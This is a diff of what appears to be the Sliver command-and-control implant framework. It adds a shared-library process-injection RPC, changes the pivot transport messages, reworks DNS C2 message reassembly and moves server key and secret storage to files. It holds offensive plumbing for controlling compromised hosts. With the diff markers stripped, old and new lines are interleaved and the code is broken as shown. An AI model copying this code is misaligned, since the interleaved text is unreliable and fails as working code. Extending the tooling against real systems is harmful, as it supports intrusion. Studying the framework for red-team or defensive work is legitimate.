return interceptor(ctx, in, info, handler)
}
func _SliverRPC_LibInject_Handler(srv interface{}, ctx context.Context, dec func(interface{}) error, interceptor grpc.UnaryServerInterceptor) (interface{}, error) {
in := new(sliverpb.LibInjectReq)
if err := dec(in); err != nil {
return nil, err
}
if interceptor == nil {
return srv.(SliverRPCServer).LibInject(ctx, in)
}
info := &grpc.UnaryServerInfo{
Server: srv,
FullMethod: "/rpcpb.SliverRPC/LibInject",
}
handler := func(ctx context.Context, req interface{}) (interface{}, error) {
return srv.(SliverRPCServer).LibInject(ctx, req.(*sliverpb.LibInjectReq))
}
return interceptor(ctx, in, info, handler)
}
func _SliverRPC_OpenSession_Handler(srv interface{}, ctx context.Context, dec func(interface{}) error, interceptor grpc.UnaryServerInterceptor) (interface{}, error) {
in := new(sliverpb.OpenSession)
if err := dec(in); err != nil {
@@ -4181,16 +4211,16 @@ var SliverRPC_ServiceDesc = grpc.ServiceDesc{
Handler: _SliverRPC_Screenshot_Handler,
},
{
MethodName: "PivotStartListener",
Handler: _SliverRPC_PivotStartListener_Handler,
MethodName: "NamedPipes",
Handler: _SliverRPC_NamedPipes_Handler,
},
{
MethodName: "PivotStopListener",
Handler: _SliverRPC_PivotStopListener_Handler,
MethodName: "TCPListener",
Handler: _SliverRPC_TCPListener_Handler,
},
{
MethodName: "PivotListeners",
Handler: _SliverRPC_PivotListeners_Handler,
MethodName: "ListPivots",
Handler: _SliverRPC_ListPivots_Handler,
},
{
MethodName: "StartService",
@@ -4256,6 +4286,10 @@ var SliverRPC_ServiceDesc = grpc.ServiceDesc{
MethodName: "GetPrivs",
Handler: _SliverRPC_GetPrivs_Handler,
},
{
MethodName: "LibInject",
Handler: _SliverRPC_LibInject_Handler,
},
{
MethodName: "OpenSession",
Handler: _SliverRPC_OpenSession_Handler,
+72 -33
View File
@@ -162,28 +162,24 @@ const (
// MsgNetstatReq - Netstat request
MsgNetstatReq
// *** Pivots ***
// MsgPivotStartListenerReq - Start a listener
MsgPivotStartListenerReq
// MsgPivotStopListenerReq - Stop a listener
MsgPivotStopListenerReq
// MsgPivotListenersReq - List listeners request
MsgPivotListenersReq
// MsgPivotListeners - List listeners response
MsgPivotListeners
// MsgPivotPeerPing - Pivot peer ping message
MsgPivotPeerPing
// MsgPivotServerPing - Pivot peer ping message
MsgPivotServerPing
// PivotServerKeyExchange - Pivot to server key exchange
MsgPivotServerKeyExchange
// MsgPivotPeerEnvelope - An envelope from a pivot peer
MsgPivotPeerEnvelope
// MsgPivotPeerFailure - Failure to send an envelope to a pivot peer
MsgPivotPeerFailure
// MsgPivotOriginEnvelope
MsgPivotOriginEnvelope
// MsgNamedPipesReq - Request to take create a new named pipe listener
MsgNamedPipesReq
// MsgNamedPipes - Response with the result
MsgNamedPipes
// MsgTCPPivotReq - Request to take create a new MTLS listener
MsgTCPPivotReq
// MsgTCPPivot - Response with the result
MsgTCPPivot
// MsgPivotListReq
MsgPivotListReq
// MsgPivotPublicKey - Request the pivot public key
MsgPivotPublicKey
// MsgPivotOpen - Request to create a new pivot tunnel
MsgPivotOpen
// MsgPivotClose - Request to notify the closing of an existing pivot tunnel
MsgPivotClose
// MsgPivotData - Request that encapsulates and envelope form a sliver to the server though the pivot and viceversa
MsgPivotData
// MsgStartServiceReq - Request to start a service
MsgStartServiceReq
@@ -274,6 +270,9 @@ const (
MsgOpenSession
// MsgCloseSession - Close the active session
MsgCloseSession
// MsgLibInjectReq - Inject a shared library into a Linux process
MsgLibInjectReq
)
// Constants to replace enums
@@ -295,110 +294,146 @@ func MsgNumber(request proto.Message) uint32 {
case *Register:
return MsgRegister
case *TaskReq:
return MsgTaskReq
case *Ping:
return MsgPing
case *KillReq:
return MsgKillSessionReq
case *LsReq:
return MsgLsReq
case *Ls:
return MsgLs
case *DownloadReq:
return MsgDownloadReq
case *Download:
return MsgDownload
case *UploadReq:
return MsgUploadReq
case *Upload:
return MsgUpload
case *CdReq:
return MsgCdReq
case *PwdReq:
return MsgPwdReq
case *Pwd:
return MsgPwd
case *RmReq:
return MsgRmReq
case *Rm:
return MsgRm
case *MkdirReq:
return MsgMkdirReq
case *Mkdir:
return MsgMkdir
case *PsReq:
return MsgPsReq
case *Ps:
return MsgPs
case *ShellReq:
return MsgShellReq
case *Shell:
return MsgShell
case *ProcessDumpReq:
return MsgProcessDumpReq
case *ProcessDump:
return MsgProcessDump
case *ImpersonateReq:
return MsgImpersonateReq
case *Impersonate:
return MsgImpersonate
case *RunAsReq:
return MsgRunAsReq
case *RunAs:
return MsgRunAs
case *RevToSelfReq:
return MsgRevToSelfReq
case *InvokeGetSystemReq:
return MsgInvokeGetSystemReq
case *GetSystem:
return MsgGetSystem
case *ExecuteAssemblyReq:
return MsgExecuteAssemblyReq
case *InvokeExecuteAssemblyReq:
return MsgInvokeExecuteAssemblyReq
case *ExecuteAssembly:
return MsgExecuteAssembly
case *ExecuteTokenReq:
return MsgExecuteTokenReq
case *InvokeMigrateReq:
return MsgInvokeMigrateReq
case *SideloadReq:
return MsgSideloadReq
case *Sideload:
return MsgSideload
case *SpawnDllReq:
return MsgSpawnDllReq
case *SpawnDll:
return MsgSpawnDll
case *IfconfigReq:
return MsgIfconfigReq
case *Ifconfig:
return MsgIfconfig
case *ExecuteReq:
return MsgExecuteReq
case *TerminateReq:
return MsgTerminateReq
case *Terminate:
return MsgTerminate
case *ScreenshotReq:
return MsgScreenshotReq
case *Screenshot:
return MsgScreenshot
case *NetstatReq:
return MsgNetstatReq
case *PivotStartListenerReq:
return MsgPivotStartListenerReq
case *PivotStopListenerReq:
return MsgPivotStopListenerReq
case *PivotListenersReq:
return MsgPivotListenersReq
case *PivotListeners:
return MsgPivotListeners
case *PivotPing:
return MsgPivotPeerPing
case *NamedPipesReq:
return MsgNamedPipesReq
case *NamedPipes:
return MsgNamedPipes
case *TCPPivotReq:
return MsgTCPPivotReq
case *TCPPivot:
return MsgTCPPivot
case *PivotOpen:
return MsgPivotOpen
case *PivotClose:
return MsgPivotClose
case *PivotData:
return MsgPivotData
case *StartServiceReq:
return MsgStartServiceReq
case *StopServiceReq:
@@ -426,6 +461,9 @@ func MsgNumber(request proto.Message) uint32 {
case *RegistryCreateKeyReq:
return MsgRegistryCreateKeyReq
case *PivotListReq:
return MsgPivotListReq
case *WGPortForwardStartReq:
return MsgWGStartPortFwdReq
case *WGPortForwardStopReq:
@@ -478,7 +516,8 @@ func MsgNumber(request proto.Message) uint32 {
return MsgOpenSession
case *CloseSession:
return MsgCloseSession
case *LibInjectReq:
return MsgLibInjectReq
}
return uint32(0)
File diff suppressed because it is too large. Load diff
+56 -60
View File
@@ -624,7 +624,16 @@ message RegistryListValuesReq {
message RegistryValuesList {
repeated string ValueNames = 1;
commonpb.Response Response = 9;
}
message LibInjectReq {
uint64 Pid = 1;
bytes Data = 2;
commonpb.Request Request = 9;
}
message LibInject {
commonpb.Response Response = 9;
}
@@ -671,6 +680,7 @@ message PortfwdReq {
int32 Protocol = 2;
string Host = 3;
uint64 TunnelID = 8 [jstype = JS_STRING]; // Bind to this tunnel
commonpb.Request Request = 9;
}
@@ -684,13 +694,11 @@ message Portfwd {
commonpb.Response Response = 9;
}
// *** Socks ***
// Socks
message Socks {
uint64 TunnelID = 8 [jstype = JS_STRING];
uint32 SessionID = 9;
}
message SocksData {
bytes Data = 1;
bool CloseConn = 2;
@@ -698,83 +706,71 @@ message SocksData {
string Password = 4;
uint64 Sequence = 5;
uint64 TunnelID = 8 [jstype = JS_STRING];
commonpb.Request Request = 9;
}
// *** Pivots ***
enum PivotType {
TCP = 0;
UDP = 1;
NamedPipe = 2;
}
message PivotStartListenerReq {
PivotType Type = 1;
string BindAddress = 2;
commonpb.Request Request = 9;
}
message PivotStopListenerReq {
uint32 ID = 1;
// Named Pipes Messages
message NamedPipesReq {
string PipeName = 1;
commonpb.Request Request = 9;
}
message PivotListener {
uint32 ID = 1;
PivotType Type = 2;
string BindAddress = 3;
repeated PivotPeer Pivots = 4;
message NamedPipes {
bool Success = 1;
commonpb.Response Response = 9;
}
message PivotHello {
bytes PublicKey = 1;
string PublicKeySignature = 2;
bytes SessionKey = 3;
}
message PivotServerKeyExchange {
int64 OriginID = 2;
bytes SessionKey = 3;
}
message PivotPeerEnvelope {
int64 PeerID = 1;
int64 PivotID = 2;
string Name = 3;
bytes Data = 4;
}
message PivotPing {
uint32 Nonce = 1;
}
message PivotPeer {
int64 ID = 1;
string RemoteAddress = 2;
}
message PivotPeerFailure {
int64 ID = 1;
}
message PivotListenersReq {
// TCP Messages for pivoting
message TCPPivotReq {
string Address = 1;
commonpb.Request Request = 9;
}
message PivotListeners {
repeated PivotListener Listeners = 1;
message TCPPivot {
bool Success = 1;
commonpb.Response Response = 9;
}
// Pivot transport
message PivotPublicKey {
bytes PublicKey = 1;
string OTP = 2;
}
message PivotOpen {
uint32 PivotID = 1;
bytes PivotKey = 2;
}
message PivotClose {
uint32 PivotID = 1;
string Err = 2;
}
message PivotData {
uint32 PivotID = 1;
bytes Data = 2;
}
message PivotEntry {
string Type = 1;
string Remote = 2;
}
message PivotListReq {
commonpb.Request Request = 9;
}
message PivotList {
repeated PivotEntry Entries = 1;
commonpb.Response Response = 9;
}
// *** Wiregard ***
message WGPortForwardStartReq {
int32 LocalPort = 1;
string RemoteAddress = 2;
+1 -1
View File
@@ -1,4 +1,4 @@
//go:build client
// +build client
package assets
+1 -1
View File
@@ -1,4 +1,4 @@
//go:build server
// +build server
package assets
+1 -1
View File
@@ -1,4 +1,4 @@
//go:build server
// +build server
package assets
+1 -1
View File
@@ -1,4 +1,4 @@
//go:build server
// +build server
package assets
+1 -1
View File
@@ -1,4 +1,4 @@
//go:build server
// +build server
package assets
+4 -13
View File
@@ -36,23 +36,15 @@ import (
var (
serverECCKeyPair *cryptography.ECCKeyPair
implantECCKeyPair *cryptography.ECCKeyPair
totpSecret string
)
func TestMain(m *testing.M) {
// Run one with deterministic randomness if a
// crash occurs, we can more easily reproduce it
insecureRand.Seed(1)
insecureRand.Seed(time.Now().UnixNano())
implantConfig := setup()
code1 := m.Run()
code := m.Run()
cleanup(implantConfig)
insecureRand.Seed(time.Now().UnixMicro())
implantConfig = setup()
code2 := m.Run()
cleanup(implantConfig)
os.Exit(code1 | code2)
os.Exit(code)
}
func setup() *models.ImplantConfig {
@@ -73,7 +65,6 @@ func setup() *models.ImplantConfig {
"",
serverECCKeyPair.PublicBase64(),
totpSecret,
"",
)
digest := sha256.Sum256(implantECCKeyPair.Public[:])
implantConfig := &models.ImplantConfig{
+25 -34
View File
@@ -35,11 +35,9 @@ package c2
*/
import (
"bytes"
secureRand "crypto/rand"
"errors"
"hash/crc32"
"sort"
"unicode"
"github.com/bishopfox/sliver/protobuf/dnspb"
@@ -62,6 +60,7 @@ import (
consts "github.com/bishopfox/sliver/client/constants"
"github.com/bishopfox/sliver/server/core"
"github.com/bishopfox/sliver/server/log"
"github.com/emirpasic/gods/lists/singlylinkedlist"
"github.com/miekg/dns"
)
@@ -195,10 +194,11 @@ func (s *DNSSession) IncomingPendingEnvelope(msgID uint32, size uint32) *Pending
if pendingMsg, ok := s.incomingEnvelopes[msgID]; ok {
return pendingMsg
}
linkedList := singlylinkedlist.New()
pendingMsg := &PendingEnvelope{
Size: size,
received: uint32(0),
messages: map[uint32][]byte{},
messages: linkedList,
mutex: &sync.Mutex{},
complete: false,
}
@@ -250,35 +250,35 @@ func (s *DNSSession) ForwardCompletedEnvelope(msgID uint32, pending *PendingEnve
type PendingEnvelope struct {
Size uint32
received uint32
messages map[uint32][]byte
messages *singlylinkedlist.List
mutex *sync.Mutex
complete bool
}
// Reassemble - Reassemble a completed message
func (p *PendingEnvelope) Reassemble() ([]byte, error) {
// There's some weird race here with a nil pointer
p.mutex.Lock()
defer p.mutex.Unlock()
if !p.complete {
return nil, fmt.Errorf("pending message not complete %d of %d", p.received, p.Size)
return nil, errors.New("pending message not complete")
}
buffer := []byte{}
keys := []uint32{}
for k := range p.messages {
keys = append(keys, k)
}
if 1 < len(keys) {
sort.Slice(keys, func(i, j int) bool { return keys[i] < keys[j] })
}
dnsLog.Debugf("[dns] reassemble from: %v", keys)
for index, k := range keys {
dnsLog.Debugf("[dns] reassemble %d (%d->%d): %d bytes",
index, len(buffer), len(buffer)+len(p.messages[k]), len(p.messages[k]))
buffer = append(buffer, p.messages[k]...)
}
if len(buffer) != int(p.Size) {
return nil, fmt.Errorf("invalid data size %d expected %d", len(buffer), p.Size)
p.messages.Sort(func(left, right interface{}) int {
leftAssert := left.(*dnspb.DNSMessage)
rightAssert := right.(*dnspb.DNSMessage)
if leftAssert.Start > rightAssert.Start {
return 1
} else {
return -1
}
})
buffer := make([]byte, p.Size)
for _, msg := range p.messages.Values() {
msgAssert := msg.(*dnspb.DNSMessage)
if msgAssert.Start+uint32(len(msgAssert.Data)) > uint32(len(buffer)) {
return nil, fmt.Errorf("message boundaries are invalid (%d -> %d) of %d",
msgAssert.Start, msgAssert.Start+msgAssert.Size, len(buffer))
}
copy(buffer[msgAssert.Start:], msgAssert.Data)
}
return buffer, nil
}
@@ -290,19 +290,10 @@ func (p *PendingEnvelope) Insert(dnsMsg *dnspb.DNSMessage) bool {
if p.complete {
return false // Already complete
}
p.messages[dnsMsg.Start] = bytes.NewBuffer(dnsMsg.Data).Bytes()
dnsLog.Debugf("[dns] msg id: %d, %d->%d, recv: %d of %d",
dnsMsg.ID, dnsMsg.Start, int(dnsMsg.Start)+len(dnsMsg.Data), p.received, p.Size)
total := uint32(0)
for k := range p.messages {
total += uint32(len(p.messages[k]))
}
p.received = total
p.messages.Append(dnsMsg)
p.received += uint32(len(dnsMsg.Data))
dnsLog.Debugf("[dns] msg id: %d, recv: %d of %d", dnsMsg.ID, p.received, p.Size)
p.complete = p.received >= p.Size
if p.complete {
dnsLog.Debugf("[dns] message complete %d of %d", p.received, p.Size)
}
return p.complete
}
+23 -18
View File
@@ -49,7 +49,13 @@ var (
)
func randomDataRandomSize(maxSize int) []byte {
buf := make([]byte, insecureRand.Intn(maxSize-1)+1)
buf := make([]byte, insecureRand.Intn(maxSize))
rand.Read(buf)
return buf
}
func randomData(size int) []byte {
buf := make([]byte, size)
rand.Read(buf)
return buf
}
@@ -92,14 +98,14 @@ func randomDNSMsgs(t *testing.T, parent string, maxSize int, encoder encoders.En
func TestPendingEnvelopes(t *testing.T) {
// *** Small ***
for i := 0; i < 100; i++ {
for i := 0; i < 10; i++ {
reassemble(t, example1, 256, encoders.Base58{})
reassemble(t, example1, 256, encoders.Base32{})
}
// *** Large ***
for i := 0; i < 100; i++ {
reassemble(t, example1, 30*1024, encoders.Base58{})
reassemble(t, example1, 30*1024, encoders.Base32{})
for i := 0; i < 10; i++ {
reassemble(t, example1, 10*1024, encoders.Base58{})
reassemble(t, example1, 10*1024, encoders.Base32{})
}
}
@@ -113,24 +119,23 @@ func reassemble(t *testing.T, parent string, size int, encoder encoders.Encoder)
}
// Re-assemble original message
t.Logf("Re-assembling %d messages", len(dnsMsgs))
pending := dnsSession.IncomingPendingEnvelope(dnsMsgs[0].ID, dnsMsgs[0].Size)
complete := pending.Insert(dnsMsgs[0])
t.Logf("Inserted: %v", dnsMsgs[0])
if !complete {
for _, dnsMsg := range dnsMsgs[1:] {
complete = pending.Insert(dnsMsg)
t.Logf("Inserted: %v", dnsMsg)
if complete {
break
}
var pending *PendingEnvelope
for _, dnsMsg := range dnsMsgs {
pending = dnsSession.IncomingPendingEnvelope(dnsMsg.ID, dnsMsg.Size)
if pending == nil {
t.Fatal("GetPendingEnvelope returned nil")
}
complete := pending.Insert(dnsMsg)
if complete {
break
}
}
data, err := pending.Reassemble()
if err != nil {
t.Logf("Original (%d): %v", len(original), original)
for k, v := range pending.messages {
t.Logf("%d | %v", k, v)
for index, msg := range pending.messages.Values() {
msgAssert := msg.(*dnspb.DNSMessage)
t.Logf("%d | %v", index, msgAssert)
}
t.Fatalf("Failed to reassemble pending envelope: %s", err)
}
+5 -5
View File
@@ -589,10 +589,10 @@ func (s *SliverHTTPC2) pollHandler(resp http.ResponseWriter, req *http.Request)
case <-req.Context().Done():
httpLog.Debug("Poll client hang up")
return
case <-time.After(s.getServerPollTimeout()):
httpLog.Debug("Poll time out")
resp.WriteHeader(http.StatusNoContent)
resp.Write([]byte{})
// case <-time.After(s.getPollTimeout()):
// httpLog.Debug("Poll time out")
// resp.WriteHeader(http.StatusNoContent)
// resp.Write([]byte{})
}
}
@@ -629,7 +629,7 @@ func (s *SliverHTTPC2) readReqBody(httpSession *HTTPSession, resp http.ResponseW
return plaintext, err
}
func (s *SliverHTTPC2) getServerPollTimeout() time.Duration {
func (s *SliverHTTPC2) getPollTimeout() time.Duration {
if s.ServerConf.LongPollJitter < 0 {
s.ServerConf.LongPollJitter = 0
}
-10
View File
@@ -31,15 +31,12 @@ import (
consts "github.com/bishopfox/sliver/client/constants"
clienttransport "github.com/bishopfox/sliver/client/transport"
"github.com/bishopfox/sliver/protobuf/rpcpb"
"github.com/bishopfox/sliver/server/cryptography"
"github.com/bishopfox/sliver/server/transport"
"google.golang.org/grpc"
)
// Start - Starts the server console
func Start() {
generateServerSpecificValues()
_, ln, _ := transport.LocalListener()
ctxDialer := grpc.WithContextDialer(func(context.Context, string) (net.Conn, error) {
return ln.Dial()
@@ -60,13 +57,6 @@ func Start() {
clientconsole.Start(localRPC, command.BindCommands, serverOnlyCmds, true)
}
// generates server specific values if they do not already exist
func generateServerSpecificValues() {
cryptography.ECCServerKeyPair()
cryptography.TOTPServerSecret()
cryptography.MinisignServerPrivateKey()
}
// ServerOnlyCmds - Server only commands
func serverOnlyCmds(console *clientconsole.SliverConsoleClient) {
-3
View File
@@ -26,7 +26,6 @@ import (
"github.com/gofrs/uuid"
)
// ImplantConnection - Abstract connection to an implant
type ImplantConnection struct {
ID string
Send chan *sliverpb.Envelope
@@ -38,12 +37,10 @@ type ImplantConnection struct {
Cleanup func()
}
// UpdateLastMessage - Updates the last message time
func (c *ImplantConnection) UpdateLastMessage() {
c.LastMessage = time.Now()
}
// NewImplantConnection - Creates a new implant connection
func NewImplantConnection(transport string, remoteAddress string) *ImplantConnection {
return &ImplantConnection{
ID: generateImplantConnectionID(),
-7
View File
@@ -1,7 +0,0 @@
package core
import "sync"
var (
PivotSessions = &sync.Map{} // ID -> Pivot
)
+4 -11
View File
@@ -43,10 +43,10 @@ var (
// ErrUnknownMessageType - Returned if the implant did not understand the message for
// example when the command is not supported on the platform
ErrUnknownMessageType = errors.New("unknown message type")
ErrUnknownMessageType = errors.New("Unknown message type")
// ErrImplantTimeout - The implant did not respond prior to timeout deadline
ErrImplantTimeout = errors.New("implant timeout")
ErrImplantTimeout = errors.New("Implant timeout")
)
// Session - Represents a connection to an implant
@@ -80,7 +80,7 @@ func (s *Session) LastCheckin() time.Time {
func (s *Session) IsDead() bool {
sessionsLog.Debugf("Last checkin was %v", s.Connection.LastMessage)
padding := time.Duration(10 * time.Second) // Arbitrary margin of error
timePassed := time.Since(s.LastCheckin())
timePassed := time.Now().Sub(s.LastCheckin())
reconnect := time.Duration(s.ReconnectInterval)
pollTimeout := time.Duration(s.PollTimeout)
if timePassed < reconnect+padding && timePassed < pollTimeout+padding {
@@ -88,7 +88,7 @@ func (s *Session) IsDead() bool {
return false
}
if s.Connection.Transport == consts.MtlsStr {
if time.Since(s.Connection.LastMessage) < mtls.PingInterval+padding {
if time.Now().Sub(s.Connection.LastMessage) < mtls.PingInterval+padding {
sessionsLog.Debugf("Last message within ping interval with padding")
return false
}
@@ -196,13 +196,6 @@ func (s *sessions) Remove(sessionID uint32) {
defer s.mutex.Unlock()
session := s.sessions[sessionID]
if session != nil {
// Remove any pivots associated with this session
PivotSessions.Range(func(key, value interface{}) bool {
return true
})
delete(s.sessions, sessionID)
EventBroker.Publish(Event{
EventType: consts.SessionClosedEvent,
+13 -33
View File
@@ -1,60 +1,40 @@
package core
/*
Sliver Implant Framework
Copyright (C) 2021 Bishop Fox
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>.
*/
import (
"sync"
"github.com/bishopfox/sliver/protobuf/rpcpb"
"github.com/bishopfox/sliver/protobuf/sliverpb"
"sync"
)
var (
// TunSocksTunnels - Interating with duplex SocksTunnels
// TunSocksTunnelsnels - Interating with duplex SocksTunnels
SocksTunnels = tcpTunnel{
tunnels: map[uint64]*TcpTunnel{},
mutex: &sync.Mutex{},
}
)
)
type TcpTunnel struct {
ID uint64
SessionID uint32
ID uint64
SessionID uint32
ToImplantSequence uint64
ToImplantMux sync.Mutex
ToImplantMux sync.Mutex
FromImplant chan *sliverpb.SocksData
FromImplantSequence uint64
Client rpcpb.SliverRPC_SocksProxyServer
Client rpcpb.SliverRPC_SocksProxyServer
}
type tcpTunnel struct {
tunnels map[uint64]*TcpTunnel
mutex *sync.Mutex
}
func (t *tcpTunnel) Create(sessionID uint32) *TcpTunnel {
func (t *tcpTunnel)Create(sessionID uint32) *TcpTunnel {
tunnelID := NewTunnelID()
session := Sessions.Get(sessionID)
tunnel := &TcpTunnel{
ID: tunnelID,
SessionID: session.ID,
ID: tunnelID,
SessionID: session.ID,
//ToImplant: make(chan []byte),
FromImplant: make(chan *sliverpb.SocksData),
}
@@ -65,7 +45,7 @@ func (t *tcpTunnel) Create(sessionID uint32) *TcpTunnel {
return tunnel
}
func (t *tcpTunnel) Close(tunnelID uint64) error {
func (t *tcpTunnel)Close(tunnelID uint64) error {
t.mutex.Lock()
defer t.mutex.Unlock()
@@ -79,8 +59,8 @@ func (t *tcpTunnel) Close(tunnelID uint64) error {
return nil
}
func (t *tcpTunnel) Get(tunnelID uint64) *TcpTunnel {
func (t *tcpTunnel)Get(tunnelID uint64) *TcpTunnel {
t.mutex.Lock()
defer t.mutex.Unlock()
return t.tunnels[tunnelID]
}
}
+51 -108
View File
@@ -24,19 +24,19 @@ package cryptography
*/
import (
"crypto/ed25519"
"crypto/rand"
"crypto/sha256"
"encoding/base64"
"encoding/json"
"errors"
"io"
"io/ioutil"
"os"
"path"
"sync"
"time"
"github.com/bishopfox/sliver/server/cryptography/minisign"
"github.com/bishopfox/sliver/server/db"
"github.com/bishopfox/sliver/util"
"github.com/bishopfox/sliver/server/assets"
"github.com/pquerna/otp"
"github.com/pquerna/otp/totp"
"golang.org/x/crypto/chacha20poly1305"
@@ -44,12 +44,15 @@ import (
)
const (
// AESKeySize - Always use 256 bit keys
AESKeySize = 16
// GCMNonceSize - 96 bit nonces for GCM
GCMNonceSize = 12
// TOTPDigits - Number of digits in the TOTP
TOTPDigits = 8
TOTPPeriod = uint(30)
TOTPSecretKey = "server.totp"
ServerECCKeyPairKey = "server.ecc"
serverMinisignPrivateKey = "server.minisign"
TOTPDigits = 8
TOTPPeriod = uint(30)
)
var (
@@ -149,7 +152,7 @@ func Encrypt(key [chacha20poly1305.KeySize]byte, plaintext []byte) ([]byte, erro
if _, err := rand.Read(nonce); err != nil {
return nil, err
}
return aead.Seal(nonce, nonce, util.GzipBuf(plaintext), nil), nil
return aead.Seal(nonce, nonce, plaintext, nil), nil
}
// Decrypt - Decrypt using chacha20poly1305
@@ -167,11 +170,7 @@ func Decrypt(key [chacha20poly1305.KeySize]byte, ciphertext []byte) ([]byte, err
nonce, ciphertext := ciphertext[:aead.NonceSize()], ciphertext[aead.NonceSize():]
// Decrypt the message and check it wasn't tampered with.
plaintext, err := aead.Open(nil, nonce, ciphertext, nil)
if err != nil {
return nil, err
}
return util.GunzipBuf(plaintext), nil
return aead.Open(nil, nonce, ciphertext, nil)
}
// NewCipherContext - Wrapper around creating a cipher context from a key
@@ -190,17 +189,15 @@ type CipherContext struct {
}
// Decrypt - Decrypt a message with the contextual key and check for replay attacks
func (c *CipherContext) Decrypt(ciphertext []byte) ([]byte, error) {
plaintext, err := Decrypt(c.Key, ciphertext)
func (c *CipherContext) Decrypt(data []byte) ([]byte, error) {
plaintext, err := Decrypt(c.Key, data)
if err != nil {
return nil, err
}
if 0 < len(ciphertext) {
digest := sha256.Sum256(ciphertext)
b64Digest := base64.RawStdEncoding.EncodeToString(digest[:])
if _, ok := c.replay.LoadOrStore(b64Digest, true); ok {
return nil, ErrReplayAttack
}
digest := sha256.Sum256(data)
b64Digest := base64.RawStdEncoding.EncodeToString(digest[:])
if _, ok := c.replay.LoadOrStore(b64Digest, true); ok {
return nil, ErrReplayAttack
}
return plaintext, nil
}
@@ -211,11 +208,9 @@ func (c *CipherContext) Encrypt(plaintext []byte) ([]byte, error) {
if err != nil {
return nil, err
}
if 0 < len(ciphertext) {
digest := sha256.Sum256(ciphertext)
b64Digest := base64.RawStdEncoding.EncodeToString(digest[:])
c.replay.Store(b64Digest, true)
}
digest := sha256.Sum256(ciphertext)
b64Digest := base64.RawStdEncoding.EncodeToString(digest[:])
c.replay.Store(b64Digest, true)
return ciphertext, nil
}
@@ -231,24 +226,28 @@ func TOTPOptions() totp.ValidateOpts {
// ECCServerKeyPair - Get teh server's ECC key pair
func ECCServerKeyPair() *ECCKeyPair {
data, err := db.GetKeyValue(ServerECCKeyPairKey)
if err == db.ErrRecordNotFound {
keyPair, err := generateServerECCKeyPair()
eccKeyPairPath := path.Join(assets.GetRootAppDir(), "server.secret")
if _, err := os.Stat(eccKeyPairPath); os.IsNotExist(err) {
keyPair, err := generateServerECCKeyPair(eccKeyPairPath)
if err != nil {
panic(err)
}
return keyPair
} else {
data, err := ioutil.ReadFile(eccKeyPairPath)
if err != nil {
panic(err)
}
keyPair := &ECCKeyPair{}
err = json.Unmarshal(data, keyPair)
if err != nil {
panic(err)
}
return keyPair
}
keyPair := &ECCKeyPair{}
err = json.Unmarshal([]byte(data), keyPair)
if err != nil {
panic(err)
}
return keyPair
}
func generateServerECCKeyPair() (*ECCKeyPair, error) {
func generateServerECCKeyPair(saveTo string) (*ECCKeyPair, error) {
keyPair, err := RandomECCKeyPair()
if err != nil {
return nil, err
@@ -257,8 +256,11 @@ func generateServerECCKeyPair() (*ECCKeyPair, error) {
if err != nil {
return nil, err
}
err = db.SetKeyValue(ServerECCKeyPairKey, string(data))
return keyPair, err
err = ioutil.WriteFile(saveTo, data, 0600)
if err != nil {
return nil, err
}
return keyPair, nil
}
// TOTPServerSecret - Get the server-wide totp secret value, the goal of the totp
@@ -266,11 +268,13 @@ func generateServerECCKeyPair() (*ECCKeyPair, error) {
// use a server-wide secret and ignore issuers/accounts. In order to bypass this check
// you'd have to extract the totp secret from a binary generated by the server.
func TOTPServerSecret() (string, error) {
secret, err := db.GetKeyValue(TOTPSecretKey)
if err == db.ErrRecordNotFound {
secret, err = totpGenerateSecret()
totpSecretPath := path.Join(assets.GetRootAppDir(), "totp.secret")
if _, err := os.Stat(totpSecretPath); os.IsNotExist(err) {
return totpGenerateSecret(totpSecretPath)
} else {
data, err := ioutil.ReadFile(totpSecretPath)
return string(data), err
}
return secret, err
}
// ValidateTOTP - Validate a TOTP code
@@ -286,7 +290,7 @@ func ValidateTOTP(code string) (bool, error) {
return valid, nil
}
func totpGenerateSecret() (string, error) {
func totpGenerateSecret(saveTo string) (string, error) {
otpSecret, err := totp.Generate(totp.GenerateOpts{
Issuer: "foo",
AccountName: "bar",
@@ -298,67 +302,6 @@ func totpGenerateSecret() (string, error) {
return "", err
}
secret := otpSecret.Secret()
err = db.SetKeyValue(TOTPSecretKey, secret)
err = ioutil.WriteFile(saveTo, []byte(secret), 0600)
return secret, err
}
// minisignPrivateKey - This is here so we can marshal to/from JSON
type minisignPrivateKey struct {
ID uint64 `json:"id"`
PrivateKey []byte `json:"private_key"`
}
// MinisignServerPublicKey - Get the server's minisign public key string
func MinisignServerPublicKey() string {
publicKey := MinisignServerPrivateKey().Public().(minisign.PublicKey)
publicKeyText, err := publicKey.MarshalText()
if err != nil {
panic(err)
}
return string(publicKeyText)
}
// MinisignServerSign - Sign a message with the server's minisign private key
func MinisignServerSign(message []byte) string {
privateKey := MinisignServerPrivateKey()
return string(minisign.Sign(*privateKey, message))
}
// MinisignServerPrivateKey - Get the server's minisign key pair
func MinisignServerPrivateKey() *minisign.PrivateKey {
data, err := db.GetKeyValue(serverMinisignPrivateKey)
if err == db.ErrRecordNotFound {
privateKey, err := generateServerMinisignPrivateKey()
if err != nil {
panic(err)
}
return privateKey
}
privateKey := &minisignPrivateKey{}
err = json.Unmarshal([]byte(data), privateKey)
if err != nil {
panic(err)
}
rawBytes := [ed25519.PrivateKeySize]byte{}
copy(rawBytes[:], privateKey.PrivateKey)
return &minisign.PrivateKey{
RawID: privateKey.ID,
RawBytes: rawBytes,
}
}
func generateServerMinisignPrivateKey() (*minisign.PrivateKey, error) {
_, privateKey, err := minisign.GenerateKey(rand.Reader)
if err != nil {
return nil, err
}
data, _ := json.Marshal(&minisignPrivateKey{
ID: privateKey.ID(),
PrivateKey: privateKey.Bytes(),
})
err = db.SetKeyValue(serverMinisignPrivateKey, string(data))
if err != nil {
return nil, err
}
return &privateKey, err
}
+2 -54
View File
@@ -27,7 +27,6 @@ import (
"testing"
implantCrypto "github.com/bishopfox/sliver/implant/sliver/cryptography"
"github.com/bishopfox/sliver/server/cryptography/minisign"
)
var (
@@ -36,6 +35,7 @@ var (
serverECCKeyPair *ECCKeyPair
implantECCKeyPair *ECCKeyPair
totpSecret string
)
func randomData() []byte {
@@ -67,10 +67,9 @@ func setup() {
implantCrypto.SetSecrets(
implantECCKeyPair.PublicBase64(),
